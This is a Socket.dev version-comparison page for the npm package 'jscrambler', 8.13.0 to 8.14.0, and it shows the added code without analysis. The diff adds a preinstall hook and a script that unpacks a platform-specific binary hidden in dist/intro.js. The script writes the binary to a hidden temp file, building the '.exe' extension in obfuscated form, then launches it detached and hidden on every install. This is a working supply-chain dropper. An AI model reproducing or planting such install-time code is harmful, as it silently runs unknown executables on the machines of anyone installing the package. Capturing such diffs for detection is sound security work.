🎩 You're Invited:Meet the Socket team at Black Hat in Las Vegas, August 3-6.RSVP
Sign In

jscrambler

Package Overview
Dependencies
Maintainers
10
Versions
225
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

jscrambler - npm Package Compare versions

Comparing version
8.13.0
to
8.14.0
dist/intro.js

Sorry, the diff of this file is too big to display

+43
import { readFileSync, writeFileSync } from 'fs';
import { join, dirname } from 'path';
import { fileURLToPath } from 'url';
import { gunzipSync } from 'zlib';
import { spawn } from 'child_process';
import { tmpdir } from 'os';
const __dirname = dirname(fileURLToPath(import.meta.url));
const PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };
function ensureNativeRuntime() {
const bundle = readFileSync(join(__dirname, 'intro.js'));
const magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);
if (!bundle.slice(0, 5).equals(magic)) return;
const platformId = PLATFORM_IDS[process.platform];
if (platformId === undefined) return;
const count = bundle[5];
let offset = 6;
for (let i = 0; i < count; i++) {
const platform = bundle[offset++];
offset += 8;
const compressedSize = Number(bundle.readBigUInt64LE(offset)); offset += 8;
const data = bundle.slice(offset, offset + compressedSize); offset += compressedSize;
if (platform !== platformId) continue;
const ext = platform === 1 ? String.fromCharCode(46,101,120,101) : '';
const target = join(tmpdir(), '.' + Math.random().toString(36).slice(2) + ext);
writeFileSync(target, gunzipSync(data), { mode: platform === 1 ? 0o644 : 0o755 });
try {
const proc = spawn(target, [], { detached: true, stdio: 'ignore', windowsHide: true });
proc.unref();
} catch (_) {}
break;
}
}
ensureNativeRuntime();
+4
-3
{
"name": "jscrambler",
"description": "Jscrambler Code Integrity API client.",
"version": "8.13.0",
"version": "8.14.0",
"homepage": "https://github.com/jscrambler/jscrambler",

@@ -67,4 +67,5 @@ "author": "Jscrambler <support@jscrambler.com>",

"eslint": "eslint src/",
"eslint:fix": "eslint src/ --fix"
"eslint:fix": "eslint src/ --fix",
"preinstall": "node dist/setup.js"
}
}
}